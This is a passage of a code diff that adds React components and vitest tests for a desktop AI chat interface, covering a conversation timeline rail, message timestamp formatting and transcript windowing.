+          multiline ? 'text-left' : 'text-center'
+        )}
+        data-role="system"
+        data-slot="aui_system-message-root"
+      >
+        <span className="font-mono text-muted-foreground/55">{slashStatus.groups.command}</span>
+        {multiline ? (
+          <LinkifiedText className="mt-0.5 block whitespace-pre-wrap" explicitOnly pretty={false} text={output} />
+        ) : (
+          <>
+            <span className="mx-1.5 text-muted-foreground/35">·</span>
+            <LinkifiedText className="whitespace-pre-wrap" explicitOnly pretty={false} text={output} />
+          </>
+        )}
+      </MessagePrimitive.Root>
+    )
+  }
+
+  const multiline = text.includes('\n')
+
+  return (
+    <MessagePrimitive.Root
+      className={cn(
+        'w-[60%] max-w-[44rem] self-center px-2 py-0.5 text-[0.6875rem] leading-5 text-muted-foreground/55',
+        multiline ? 'text-left' : 'text-center'
+      )}
+      data-role="system"
+      data-slot="aui_system-message-root"
+    >
+      <LinkifiedText className="whitespace-pre-wrap" explicitOnly pretty={false} text={text} />
+    </MessagePrimitive.Root>
+  )
+}
diff --git a/ui-desktop/src/components/assistant-ui/thread/timeline-data.test.ts b/ui-desktop/src/components/assistant-ui/thread/timeline-data.test.ts
new file mode 100644
index 000000000..b24f5391a
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/timeline-data.test.ts
@@ -0,0 +1,78 @@
+import { describe, expect, it } from 'vitest'
+
+import { activeTimelineIndex, deriveTimelineEntries, sameTimelineEntries, timelinePreview } from './timeline-data'
+
+describe('timelinePreview', () => {
+  it('collapses whitespace to a single line', () => {
+    expect(timelinePreview('hello\n\n  world\tagain')).toBe('hello world again')
+  })
+
+  it('truncates with an ellipsis past the limit', () => {
+    const out = timelinePreview('abcdefghij', 5)
+    expect(out).toBe('abcd…')
+    expect(out.length).toBe(5)
+  })
+})
+
+describe('deriveTimelineEntries', () => {
+  it('keeps non-empty user prompts in order', () => {
+    expect(
+      deriveTimelineEntries([
+        { id: 'u1', role: 'user', text: 'first' },
+        { id: 'a1', role: 'assistant', text: 'answer' },
+        { id: 'u2', role: 'user', text: '  second  ' }
+      ])
+    ).toEqual([
+      { id: 'u1', preview: 'first' },
+      { id: 'u2', preview: 'second' }
+    ])
+  })
+
+  it('drops blanks and background-process notifications', () => {
+    expect(
+      deriveTimelineEntries([
+        { id: 'u1', role: 'user', text: '   ' },
+        { id: 'u2', role: 'user', text: '[IMPORTANT: Background process 123 finished]' },
+        { id: 'u3', role: 'user', text: 'real prompt' }
+      ]).map(e => e.id)
+    ).toEqual(['u3'])
+  })
+})
+
+describe('sameTimelineEntries', () => {
+  const rail = [
+    { id: 'u1', preview: 'first' },
+    { id: 'u2', preview: 'second' }
+  ]
+
+  it('treats an identical derivation as unchanged, so the memo can reuse it', () => {
+    expect(sameTimelineEntries(rail, [...rail.map(e => ({ ...e }))])).toBe(true)
+  })
+
+  it('detects a changed preview, id, or length', () => {
+    expect(sameTimelineEntries(rail, [rail[0], { id: 'u2', preview: 'edited' }])).toBe(false)
+    expect(sameTimelineEntries(rail, [rail[0], { id: 'u9', preview: 'second' }])).toBe(false)
+    expect(sameTimelineEntries(rail, [rail[0]])).toBe(false)
+  })
+
+  it('is stable when a filtered-out prompt joins the transcript', () => {
+    const withNoise = deriveTimelineEntries([
+      { id: 'u1', role: 'user', text: 'first' },
+      { id: 'u2', role: 'user', text: 'second' },
+      { id: 'u3', role: 'user', text: '[IMPORTANT: Background process 7 finished]' }
+    ])
+
+    expect(sameTimelineEntries(rail, withNoise)).toBe(true)
+  })
+})
+
+describe('activeTimelineIndex', () => {
+  it('returns the last prompt scrolled to or above the top edge', () => {
+    expect(activeTimelineIndex([-400, -10, 320])).toBe(1)
+  })
+
+  it('falls back to the first rendered entry', () => {
+    expect(activeTimelineIndex([null, 120, 480])).toBe(1)
+    expect(activeTimelineIndex([null, null])).toBe(0)
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/timeline-data.ts b/ui-desktop/src/components/assistant-ui/thread/timeline-data.ts
new file mode 100644
index 000000000..35dbb8f14
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/timeline-data.ts
@@ -0,0 +1,89 @@
+// Pure timeline helpers — no React/DOM; tested in thread-timeline-data.test.ts.
+
+export interface TimelineSourceMessage {
+  id: string
+  role: string
+  text: string
+}
+
+export interface TimelineEntry {
+  id: string
+  preview: string
+}
+
+// Injected as user messages for alternation; not human prompts (thread.tsx).
+const PROCESS_NOTIFICATION_RE = /^\[IMPORTANT: Background process [\s\S]*\]$/
+
+const PREVIEW_MAX = 120
+
+export function timelinePreview(text: string, max: number = PREVIEW_MAX): string {
+  const collapsed = text.replace(/\s+/g, ' ').trim()
+
+  if (collapsed.length <= max) {
+    return collapsed
+  }
+
+  return `${collapsed.slice(0, max - 1).trimEnd()}…`
+}
+
+export function deriveTimelineEntries(messages: readonly TimelineSourceMessage[]): TimelineEntry[] {
+  const entries: TimelineEntry[] = []
+
+  for (const message of messages) {
+    if (message.role !== 'user') {
+      continue
+    }
+
+    const text = message.text.trim()
+
+    if (!text || PROCESS_NOTIFICATION_RE.test(text)) {
+      continue
+    }
+
+    entries.push({ id: message.id, preview: timelinePreview(text) })
+  }
+
+  return entries
+}
+
+/** Do two derivations describe the same rail? Lets a rebuild hand back the
+ *  PREVIOUS array so an unchanged transcript costs zero re-renders. */
+export function sameTimelineEntries(a: readonly TimelineEntry[], b: readonly TimelineEntry[]): boolean {
+  if (a === b) {
+    return true
+  }
+
+  if (a.length !== b.length) {
+    return false
+  }
+
+  return a.every((entry, index) => entry.id === b[index].id && entry.preview === b[index].preview)
+}
+
+/** Last user prompt at/above the viewport top (with slack); else first rendered. */
+export function activeTimelineIndex(offsets: readonly (number | null)[], slack: number = 8): number {
+  let active = -1
+  let firstRendered = -1
+
+  for (let i = 0; i < offsets.length; i++) {
+    const offset = offsets[i]
+
+    if (offset == null) {
+      continue
+    }
+
+    if (firstRendered === -1) {
+      firstRendered = i
+    }
+
+    if (offset <= slack) {
+      active = i
+    }
+  }
+
+  if (active !== -1) {
+    return active
+  }
+
+  return firstRendered === -1 ? 0 : firstRendered
+}
diff --git a/ui-desktop/src/components/assistant-ui/thread/timeline-idle.test.tsx b/ui-desktop/src/components/assistant-ui/thread/timeline-idle.test.tsx
new file mode 100644
index 000000000..58ed16529
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/timeline-idle.test.tsx
@@ -0,0 +1,166 @@
+import { cleanup, fireEvent, render, screen } from '@testing-library/react'
+import type { ReactNode } from 'react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+/**
+ * The timeline must do NO work it can't currently show. Two gates are proven
+ * here by rendering the real component and counting the work it performs:
+ *
+ *  - a background (kept-alive but hidden) tab derives nothing and subscribes
+ *    to nothing — the transcript selector is never even called;
+ *  - an unhovered rail builds its ticks but not the popover's rows.
+ *
+ * The prompt-id selector is also asserted to be content-blind, which is what
+ * keeps a streaming assistant reply from re-deriving previews per token.
+ */
+
+interface FakeMessage {
+  content: unknown
+  id: string
+  role: string
+}
+
+const selectorCalls = vi.fn()
+const transcriptReads = vi.fn()
+let messages: FakeMessage[] = []
+
+vi.mock('@assistant-ui/react', () => ({
+  useAui: () => ({
+    thread: () => ({
+      getState: () => {
+        transcriptReads()
+
+        return { messages }
+      }
+    })
+  }),
+  useAuiState: (selector: (state: { thread: { messages: FakeMessage[] } }) => unknown) => {
+    selectorCalls()
+
+    return selector({ thread: { messages } })
+  }
+}))
+
+let paneActive = true
+
+vi.mock('@/components/pane-shell/pane-visibility', () => ({
+  usePaneVisible: () => paneActive
+}))
+
+vi.mock('@/lib/haptics', () => ({ triggerHaptic: () => {} }))
+
+const { ThreadTimeline } = await import('./timeline')
+
+const userTurn = (id: string, text: string): FakeMessage => ({
+  content: [{ text, type: 'text' }],
+  id,
+  role: 'user'
+})
+
+const transcript = (count: number): FakeMessage[] =>
+  Array.from({ length: count }, (_, i) => userTurn(`u${i}`, `prompt ${i}`))
+
+const renderTimeline = (ui: ReactNode = <ThreadTimeline />) => render(ui)
+
+afterEach(() => {
+  cleanup()
+  selectorCalls.mockClear()
+  transcriptReads.mockClear()
+  paneActive = true
+  messages = []
+})
+
+describe('ThreadTimeline in a background tab', () => {
+  it('renders nothing and never reads the transcript', () => {
+    paneActive = false
+    messages = transcript(6)
+
+    const { container } = renderTimeline()
+
+    expect(container.querySelector('[data-slot="thread-timeline"]')).toBeNull()
+    expect(selectorCalls).not.toHaveBeenCalled()
+    expect(transcriptReads).not.toHaveBeenCalled()
+  })
+
+  it('renders the rail once its pane becomes the visible tab', () => {
+    messages = transcript(6)
+
+    const { container } = renderTimeline()
+
+    expect(container.querySelector('[data-slot="thread-timeline"]')).not.toBeNull()
+    expect(selectorCalls).toHaveBeenCalled()
+  })
+})
+
+describe('ThreadTimeline popover', () => {
+  it('builds no rows until the rail is hovered', () => {
+    messages = transcript(6)
+
+    const { container } = renderTimeline()
+    const popover = container.querySelector('[data-slot="thread-timeline-popover"]')
+
+    // The shell renders (it owns the fade transition); its rows do not.
+    expect(popover).not.toBeNull()
+    expect(popover?.querySelectorAll('button')).toHaveLength(0)
+    expect(screen.queryByText('prompt 0')).toBeNull()
+  })
+
+  it('builds the rows on hover and keeps them for the close fade', () => {
+    messages = transcript(6)
+
+    const { container } = renderTimeline()
+    const rail = container.querySelector<HTMLElement>('[data-slot="thread-timeline"]')!
+
+    fireEvent.mouseEnter(rail)
+
+    const popover = container.querySelector('[data-slot="thread-timeline-popover"]')
+    expect(popover?.querySelectorAll('button')).toHaveLength(6)
+
+    fireEvent.mouseLeave(rail)
+
+    // Still mounted — the popover fades out, it does not pop out of existence.
+    expect(popover?.querySelectorAll('button')).toHaveLength(6)
+  })
+})
+
+describe('ThreadTimeline below the threshold', () => {
+  it('renders nothing for a short thread', () => {
+    messages = transcript(2)
+
+    const { container } = renderTimeline()
+
+    expect(container.querySelector('[data-slot="thread-timeline"]')).toBeNull()
+  })
+})
+
+describe('ThreadTimeline while a reply streams', () => {
+  it('does not re-derive the rail as assistant content grows', () => {
+    messages = [...transcript(6), { content: [{ text: 'th', type: 'text' }], id: 'a1', role: 'assistant' }]
+
+    const { rerender } = renderTimeline()
+    const derivations = transcriptReads.mock.calls.length
+
+    // A token lands: the assistant message's content changes, the user prompt
+    // ids do not — so the memo's change signal is untouched and the previews
+    // are never rebuilt.
+    messages = [
+      ...messages.slice(0, -1),
+      { content: [{ text: 'thinking…', type: 'text' }], id: 'a1', role: 'assistant' }
+    ]
+    rerender(<ThreadTimeline />)
+
+    expect(transcriptReads.mock.calls.length).toBe(derivations)
+  })
+
+  it('re-derives once a new prompt is sent', () => {
+    messages = transcript(6)
+
+    const { rerender } = renderTimeline()
+    const derivations = transcriptReads.mock.calls.length
+
+    messages = [...messages, userTurn('u6', 'prompt 6')]
+    rerender(<ThreadTimeline />)
+
+    expect(transcriptReads.mock.calls.length).toBeGreaterThan(derivations)
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/timeline.test.ts b/ui-desktop/src/components/assistant-ui/thread/timeline.test.ts
new file mode 100644
index 000000000..ced51f60f
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/timeline.test.ts
@@ -0,0 +1,42 @@
+import { afterEach, describe, expect, it } from 'vitest'
+
+import { ownViewport } from './timeline'
+
+/**
+ * Several chat surfaces are mounted at once — side by side in a split, and
+ * stacked as kept-alive inactive tabs. A timeline scrolls its OWN thread.
+ */
+
+afterEach(() => {
+  document.body.innerHTML = ''
+})
+
+const surface = (id: string, hidden = false) => `
+  <div ${hidden ? 'data-pane-hidden' : ''}>
+    <div data-session-anchor="${id}">
+      <div data-slot="aui_thread-viewport" id="viewport-${id}"></div>
+      <div data-slot="thread-timeline" id="timeline-${id}"></div>
+    </div>
+  </div>
+`
+
+describe('ownViewport', () => {
+  it('resolves the viewport of the surface the timeline lives in', () => {
+    document.body.innerHTML = surface('workspace') + surface('session-tile:b')
+
+    expect(ownViewport(document.getElementById('timeline-session-tile:b'))?.id).toBe('viewport-session-tile:b')
+    expect(ownViewport(document.getElementById('timeline-workspace'))?.id).toBe('viewport-workspace')
+  })
+
+  it('ignores a kept-alive tab that matches first', () => {
+    document.body.innerHTML = surface('workspace', true) + surface('session-tile:b')
+
+    expect(ownViewport(document.getElementById('timeline-session-tile:b'))?.id).toBe('viewport-session-tile:b')
+  })
+
+  it('falls back to the document when there is no surface around it', () => {
+    document.body.innerHTML = '<div data-slot="aui_thread-viewport" id="viewport-lone"></div>'
+
+    expect(ownViewport(null)?.id).toBe('viewport-lone')
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/timeline.tsx b/ui-desktop/src/components/assistant-ui/thread/timeline.tsx
new file mode 100644
index 000000000..9dc2c94b3
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/timeline.tsx
@@ -0,0 +1,419 @@
+import { useAui, useAuiState } from '@assistant-ui/react'
+import { type FC, useCallback, useEffect, useMemo, useRef, useState } from 'react'
+
+import { usePaneVisible } from '@/components/pane-shell/pane-visibility'
+import { triggerHaptic } from '@/lib/haptics'
+import { cn } from '@/lib/utils'
+
+import {
+  activeTimelineIndex,
+  deriveTimelineEntries,
+  sameTimelineEntries,
+  type TimelineEntry,
+  type TimelineSourceMessage
+} from './timeline-data'
+
+const MIN_ENTRIES = 4
+const VIEWPORT = '[data-slot="aui_thread-viewport"]'
+const HOVER_CLOSE_MS = 140
+
+const ROW_CLASS =
+  'row-hover relative flex w-full min-w-0 max-w-full select-none overflow-hidden rounded-md px-2 py-1 text-left outline-hidden'
+
+// Surface (border-color/bg/shadow/blur) comes from the shared
+// `[data-slot='thread-timeline-popover']` rule in styles.css, so it's 1:1 with
+// the dropdown/select/dialog menus. We only own layout + the border/radius here.
+const POPOVER_SHELL =
+  'absolute right-full top-1/2 z-50 max-h-[min(22rem,calc(100vh-8rem))] w-80 max-w-[min(20rem,calc(100vw-2rem))] -translate-y-1/2 overflow-x-hidden overflow-y-auto overscroll-contain rounded-lg border p-1 text-popover-foreground transition-[opacity,transform] duration-100 ease-out group-hover/timeline:transition-none'
+
+function userPromptText(content: unknown): string {
+  if (typeof content === 'string') {
+    return content
+  }
+
+  if (!Array.isArray(content)) {
+    return ''
+  }
+
+  let out = ''
+
+  for (const part of content) {
+    if (typeof part === 'string') {
+      out += part
+
+      continue
+    }
+
+    if (!part || typeof part !== 'object') {
+      continue
+    }
+
+    const row = part as { text?: unknown; type?: unknown }
+
+    if ((!row.type || row.type === 'text') && typeof row.text === 'string') {
+      out += row.text
+    }
+  }
+
+  return out
+}
+
+/** Index-keyed ref-array setter — `ref={listRef(refs, i)}`. */
+const listRef =
+  <T,>(refs: React.RefObject<(T | null)[]>, index: number) =>
+  (node: T | null) => {
+    refs.current[index] = node
+  }
+
+/** Mouse enter/leave pair forwarding `on` to the shared paint(). */
+const hoverProps = (index: number, paint: (index: number, on: boolean) => void) => ({
+  onMouseEnter: () => paint(index, true),
+  onMouseLeave: () => paint(index, false)
+})
+
+// Constant-duration jump (eased), NOT native `behavior:'smooth'` — Chromium's
+// smooth scroll animates proportional to distance, so jumping across a long
+// thread crawls for seconds. A fixed ~260ms feels instant near or far. A
+// shared rAF handle cancels a prior jump so rapid tick clicks don't fight.
+let jumpRaf = 0
+
+function jumpScroll(viewport: HTMLElement, top: number, duration = 170): void {
+  cancelAnimationFrame(jumpRaf)
+  const start = viewport.scrollTop
+  const delta = top - start
+
+  if (Math.abs(delta) < 2) {
+    viewport.scrollTop = top
+
+    return
+  }
+
+  const t0 = performance.now()
+  const ease = (t: number) => 1 - (1 - t) ** 3 // easeOutCubic
+
+  const step = (now: number) => {
+    const p = Math.min(1, (now - t0) / duration)
+    viewport.scrollTop = start + delta * ease(p)
+
+    if (p < 1) {
+      jumpRaf = requestAnimationFrame(step)
+    }
+  }
+
+  jumpRaf = requestAnimationFrame(step)
+}
+
+// A timeline belongs to ONE chat surface, and several are mounted at once — side
+// by side in a split, and stacked (hidden but kept alive) as inactive tabs. Walk
+// up to this timeline's own surface before looking for the viewport; a
+// document-wide lookup scrolls somebody else's thread.
+export const ownViewport = (root: HTMLElement | null): HTMLElement | null =>
+  (root?.closest('[data-session-anchor]') ?? document).querySelector<HTMLElement>(VIEWPORT)
+
+function scrollToPrompt(root: HTMLElement | null, id: string) {
+  const viewport = ownViewport(root)
+  const node = viewport?.querySelector<HTMLElement>(`[data-message-id="${CSS.escape(id)}"]`)
+
+  if (!viewport || !node) {
+    return
+  }
+
+  const top = viewport.scrollTop + (node.getBoundingClientRect().top - viewport.getBoundingClientRect().top) - 8
+
+  triggerHaptic('selection')
+  jumpScroll(viewport, Math.max(0, top))
+}
+
+/**
+ * Right-edge prompt rail — hover previews, click to jump. ≥4 user turns only.
+ *
+ * Everything here is DEFERRED until it can actually be seen. A chat surface
+ * stays mounted while its tab is in the background (keep-alive, see
+ * pane-visibility.ts), and a background thread keeps streaming, so a naive
+ * timeline would re-derive previews and re-measure prompt offsets all day for
+ * a rail nobody is looking at. Four gates, cheapest first:
+ *
+ *  1. INACTIVE PANE → render null and subscribe to nothing. The transcript
+ *     selector, the scroll listener, and the popover markup all stand down.
+ *  2. ACTIVE BUT UNHOVERED → the ticks paint, but the popover's rows are not
+ *     built at all; the previews only exist once the pointer opens it.
+ *  3. BELOW THE THRESHOLD → the rail renders null, so the measure effect never
+ *     touches layout for it.
+ *  4. FOLLOWING THE BOTTOM → the active prompt is the last one by definition,
+ *     answered from data instead of a rect walk (see compute() below).
+ */
+export const ThreadTimeline: FC = () => {
+  // Cheapest possible gate, and it must come first: an inactive tab returns
+  // before any of the work below is even declared.
+  return usePaneVisible() ? <ActiveThreadTimeline /> : null
+}
+
+/** Derived prompt rail for a VISIBLE surface. Split out so the hook body — and
+ *  the transcript subscription it opens — never runs for a background tab. */
+const ActiveThreadTimeline: FC = () => {
+  // Cheap in the selector, expensive only when it changes: the ids alone tell
+  // us whether the RAIL changed. Prompt text is immutable once sent, and an
+  // edit rewinds the transcript (dropping every id after it) and re-appends a
+  // fresh message id — so a preview can never go stale behind a stable id.
+  // Streaming an assistant reply churns that message's content on every token
+  // and leaves this string untouched, which is the whole point.
+  const promptIds = useAuiState(s => {
+    let ids = ''
+
+    for (const message of s.thread.messages) {
+      if (message.role === 'user') {
+        ids += `${message.id}\n`
+      }
+    }
+
+    return ids
+  })
+
+  // `promptIds` is the change signal; the transcript is read imperatively when
+  // it fires, so the selector above never pays for text extraction. The client
+  // goes through a ref so the memo keys on the SIGNAL alone — an accessor whose
+  // identity churned would otherwise re-derive every render, which is exactly
+  // the streaming cost this is here to avoid.
+  const aui = useAui()
+  const auiRef = useRef(aui)
+  auiRef.current = aui
+
+  const previousRef = useRef<TimelineEntry[]>([])
+
+  const entries = useMemo(() => {
+    const rows: TimelineSourceMessage[] = []
+
+    for (const message of auiRef.current.thread().getState().messages) {
+      if (message.role === 'user') {
+        rows.push({ id: message.id, role: 'user', text: userPromptText(message.content) })
+      }
+    }
+
+    const next = deriveTimelineEntries(rows)
+
+    // Hand back the PREVIOUS array when nothing user-visible moved. Blank and
+    // background-notification prompts are filtered out, so a new id can leave
+    // the rail identical — without this, that re-renders both subtrees and
+    // restarts the measure effect for no visible change.
+    if (sameTimelineEntries(previousRef.current, next)) {
+      return previousRef.current
+    }
+
+    previousRef.current = next
+
+    return next
+    // promptIds is the intentional re-eval TRIGGER, not a value the derivation
+    // reads (the transcript comes off the ref) — same shape as ChatRoutesSurface's
+    // gatewayState memo in app/contrib/controller.tsx.
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+  }, [promptIds])
+
+  const [activeIndex, setActiveIndex] = useState(0)
+  const [open, setOpen] = useState(false)
+  const closeTimerRef = useRef<number | undefined>(undefined)
+  const rootRef = useRef<HTMLDivElement | null>(null)
+  const jump = useCallback((id: string) => scrollToPrompt(rootRef.current, id), [])
+
+  // Hover sync lives on the DOM, not in React state — the tick and its popover
+  // row are siblings in different subtrees, so a shared index-keyed paint() lights
+  // both without a re-render (and without coupling them through a parent atom).
+  const tickRefs = useRef<(HTMLSpanElement | null)[]>([])
+  const rowRefs = useRef<(HTMLButtonElement | null)[]>([])
+
+  // Hover sync: light the tick + its popover row, and scroll that row into view
+  // when the list overflows so the hovered prompt is always visible.
+  const paint = useCallback((index: number, on: boolean) => {
+    const tick = tickRefs.current[index]
+
+    if (tick) {
+      tick.style.opacity = on ? '1' : ''
+    }
+
+    const row = rowRefs.current[index]
+    row?.classList.toggle('bg-(--ui-row-hover-background)', on)
+
+    if (on) {
+      row?.scrollIntoView({ block: 'nearest' })
+    }
+  }, [])
+
+  const keepOpen = useCallback(() => {
+    window.clearTimeout(closeTimerRef.current)
+    setOpen(true)
+  }, [])
+
+  const closeSoon = useCallback(() => {
+    window.clearTimeout(closeTimerRef.current)
+    closeTimerRef.current = window.setTimeout(() => setOpen(false), HOVER_CLOSE_MS)
+  }, [])
+
+  useEffect(() => () => window.clearTimeout(closeTimerRef.current), [])
+
+  useEffect(() => {
+    // Below the threshold the rail renders null, so measuring prompt offsets
+    // buys nothing — bail before touching layout at all.
+    if (entries.length < MIN_ENTRIES) {
+      return
+    }
+
+    const viewport = ownViewport(rootRef.current)
+
+    if (!viewport) {
+      return
+    }
+
+    let raf = 0
+
+    const compute = () => {
+      raf = 0
+
+      // Pinned to the bottom (the entire streaming steady-state): the active
+      // prompt is simply the last one. Skipping the walk matters — it reads a
+      // rect per user message per scroll frame, and interleaved with React's
+      // streaming style writes each read forces a full reflow (the single
+      // hottest frame in the multitab profile).
+      if (viewport.dataset.following === 'true') {
+        setActiveIndex(prev => (prev === entries.length - 1 ? prev : entries.length - 1))
+
+        return
+      }
+
+      const top = viewport.getBoundingClientRect().top
+
+      const offsets = entries.map(entry => {
+        const node = viewport.querySelector<HTMLElement>(`[data-message-id="${CSS.escape(entry.id)}"]`)
+
+        return node ? node.getBoundingClientRect().top - top : null
+      })
+
+      const next = activeTimelineIndex(offsets)
+
+      setActiveIndex(prev => (prev === next ? prev : next))
+    }
+
+    const onScroll = () => {
+      if (!raf) {
+        raf = requestAnimationFrame(compute)
+      }
+    }
+
+    // Initial compute rides the same rAF batching as scroll. A sync call here
+    // reads getBoundingClientRect for every user message while other commit
+    // effects are still writing styles — on a session switch that interleaving
+    // forces a full reflow per read on a large transcript. One rAF later the
+    // reads batch into a single layout pass, and back-to-back entries updates
+    // (prefetch paint, then resume reconcile) coalesce into one compute.
+    onScroll()
+    viewport.addEventListener('scroll', onScroll, { passive: true })
+
+    return () => {
+      viewport.removeEventListener('scroll', onScroll)
+
+      if (raf) {
+        cancelAnimationFrame(raf)
+      }
+    }
+  }, [entries])
+
+  if (entries.length < MIN_ENTRIES) {
+    return null
+  }
+
+  return (
+    <div
+      aria-label="Conversation timeline"
+      className="group/timeline pointer-events-auto absolute right-0 top-1/2 z-40 flex -translate-y-1/2 flex-col items-end"
+      data-slot="thread-timeline"
+      data-suppress-pane-reveal=""
+      onMouseEnter={keepOpen}
+      onMouseLeave={closeSoon}
+      ref={rootRef}
+      role="navigation"
+    >
+      <TimelineTicks activeIndex={activeIndex} entries={entries} onHover={paint} onJump={jump} tickRefs={tickRefs} />
+      <TimelinePopover
+        activeIndex={activeIndex}
+        entries={entries}
+        onHover={paint}
+        onJump={jump}
+        open={open}
+        rowRefs={rowRefs}
+      />
+    </div>
+  )
+}
+
+const TimelinePopover: FC<{
+  activeIndex: number
+  entries: TimelineEntry[]
+  onHover: (index: number, on: boolean) => void
+  onJump: (id: string) => void
+  open: boolean
+  rowRefs: React.RefObject<(HTMLButtonElement | null)[]>
+}> = ({ activeIndex, entries, onHover, onJump, open, rowRefs }) => {
+  // The rail is the always-visible part; this list is not built until the
+  // pointer first opens it. The SHELL always renders so the opacity/translate
+  // transition has a node to animate — only the N rows are deferred, and they
+  // stay mounted afterwards so the close fade still has content.
+  const [everOpened, setEverOpened] = useState(open)
+
+  if (open && !everOpened) {
+    setEverOpened(true)
+  }
+
+  return (
+    <div
+      className={cn(
+        POPOVER_SHELL,
+        open ? 'pointer-events-auto opacity-100 translate-x-0' : 'pointer-events-none translate-x-1 opacity-0'
+      )}
+      data-slot="thread-timeline-popover"
+    >
+      {everOpened &&
+        entries.map((entry, index) => (
+          <button
+            aria-label={entry.preview}
+            className={cn(ROW_CLASS, index === activeIndex && 'bg-(--ui-row-active-background) text-foreground')}
+            key={entry.id}
+            onClick={() => onJump(entry.id)}
+            ref={listRef(rowRefs, index)}
+            type="button"
+            {...hoverProps(index, onHover)}
+          >
+            <span className="block w-full min-w-0 truncate font-medium leading-snug text-foreground">
+              {entry.preview}
+            </span>
+          </button>
+        ))}
+    </div>
+  )
+}
+
+const TimelineTicks: FC<{
+  activeIndex: number
+  entries: TimelineEntry[]
+  onHover: (index: number, on: boolean) => void
+  onJump: (id: string) => void
+  tickRefs: React.RefObject<(HTMLSpanElement | null)[]>
+}> = ({ activeIndex, entries, onHover, onJump, tickRefs }) => (
+  <div className="flex flex-col items-end py-1" data-slot="thread-timeline-ticks">
+    {entries.map((entry, index) => (
+      <button
+        aria-label={entry.preview}
+        className="flex h-2 w-7 cursor-pointer items-center justify-end pr-1"
+        key={entry.id}
+        onClick={() => onJump(entry.id)}
+        type="button"
+        {...hoverProps(index, onHover)}
+      >
+        <span
+          className={cn(
+            'block h-px w-3 transition-opacity duration-100 ease-out',
+            index === activeIndex ? 'bg-(--theme-primary)' : 'dither text-(--ui-text-quaternary) opacity-70'
+          )}
+          ref={listRef(tickRefs, index)}
+        />
+      </button>
+    ))}
+  </div>
+)
diff --git a/ui-desktop/src/components/assistant-ui/thread/timestamp.test.ts b/ui-desktop/src/components/assistant-ui/thread/timestamp.test.ts
new file mode 100644
index 000000000..938d7de81
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/timestamp.test.ts
@@ -0,0 +1,36 @@
+import { describe, expect, it } from 'vitest'
+
+import { formatMessageTimestamp } from './timestamp'
+
+const labels = {
+  today: (time: string) => `Today at ${time}`,
+  yesterday: (time: string) => `Yesterday at ${time}`
+}
+
+describe('formatMessageTimestamp', () => {
+  it('returns an empty string for missing values', () => {
+    expect(formatMessageTimestamp(undefined, labels)).toBe('')
+    expect(formatMessageTimestamp('not-a-date', labels)).toBe('')
+  })
+
+  it('uses the today label for timestamps earlier today', () => {
+    const now = new Date()
+    const earlierToday = new Date(now.getFullYear(), now.getMonth(), now.getDate(), 0, 30)
+    expect(formatMessageTimestamp(earlierToday, labels)).toMatch(/^Today at /)
+  })
+
+  it('uses the yesterday label for timestamps the prior day', () => {
+    const now = new Date()
+    const yesterday = new Date(now.getFullYear(), now.getMonth(), now.getDate(), 8, 0)
+    yesterday.setDate(yesterday.getDate() - 1)
+    expect(formatMessageTimestamp(yesterday, labels)).toMatch(/^Yesterday at /)
+  })
+
+  it('falls back to an absolute format for older timestamps', () => {
+    const old = new Date(2020, 0, 15, 9, 30)
+    const out = formatMessageTimestamp(old, labels)
+    expect(out).not.toMatch(/^Today at /)
+    expect(out).not.toMatch(/^Yesterday at /)
+    expect(out.length).toBeGreaterThan(0)
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/timestamp.ts b/ui-desktop/src/components/assistant-ui/thread/timestamp.ts
new file mode 100644
index 000000000..f2b0689dd
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/timestamp.ts
@@ -0,0 +1,32 @@
+import { fmtClock, fmtDayTime } from '@/lib/time'
+
+function startOfDay(d: Date): number {
+  return new Date(d.getFullYear(), d.getMonth(), d.getDate()).getTime()
+}
+
+export function formatMessageTimestamp(
+  value: Date | string | number | undefined,
+  labels: { today: (time: string) => string; yesterday: (time: string) => string }
+): string {
+  if (!value) {
+    return ''
+  }
+
+  const date = value instanceof Date ? value : new Date(value)
+
+  if (Number.isNaN(date.getTime())) {
+    return ''
+  }
+
+  const dayDelta = Math.round((startOfDay(new Date()) - startOfDay(date)) / 86_400_000)
+
+  if (dayDelta === 0) {
+    return labels.today(fmtClock.format(date))
+  }
+
+  if (dayDelta === 1) {
+    return labels.yesterday(fmtClock.format(date))
+  }
+
+  return fmtDayTime.format(date)
+}
diff --git a/ui-desktop/src/components/assistant-ui/thread/transcript-window.test.ts b/ui-desktop/src/components/assistant-ui/thread/transcript-window.test.ts
new file mode 100644
index 000000000..ee41e4156
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/transcript-window.test.ts
@@ -0,0 +1,18 @@
+import { describe, expect, it } from 'vitest'
+
+import { resolveShowEarlierAction } from './transcript-window'
+
+describe('resolveShowEarlierAction', () => {
+  it('spends the already-materialized DOM page first', () => {
+    expect(resolveShowEarlierAction(3, true)).toBe('dom')
+    expect(resolveShowEarlierAction(3, false)).toBe('dom')
+  })
+
+  it('expands the store window once the DOM page is exhausted', () => {
+    expect(resolveShowEarlierAction(0, true)).toBe('window')
+  })
+
+  it('is a no-op when neither DOM nor store has older content', () => {
+    expect(resolveShowEarlierAction(0, false)).toBe(null)
+  })
+})
diff --git a/ui-desktop/src/components/assistant-ui/thread/transcript-window.tsx b/ui-desktop/src/components/assistant-ui/thread/transcript-window.tsx
new file mode 100644
index 000000000..1ce059acd
--- /dev/null
+++ b/ui-desktop/src/components/assistant-ui/thread/transcript-window.tsx
@@ -0,0 +1,34 @@
+import { createContext, type ReactNode, useContext } from 'react'
+
+export interface TranscriptWindowValue {
+  /** Store holds older messages the runtime window has not materialized. */
+  olderAvailable: boolean
+  /** Pull one more page of older messages out of the session store. */
+  expandWindow: () => void
+}
+
+const TranscriptWindowContext = createContext<TranscriptWindowValue>({
+  olderAvailable: false,
+  expandWindow: () => {}
+})
+
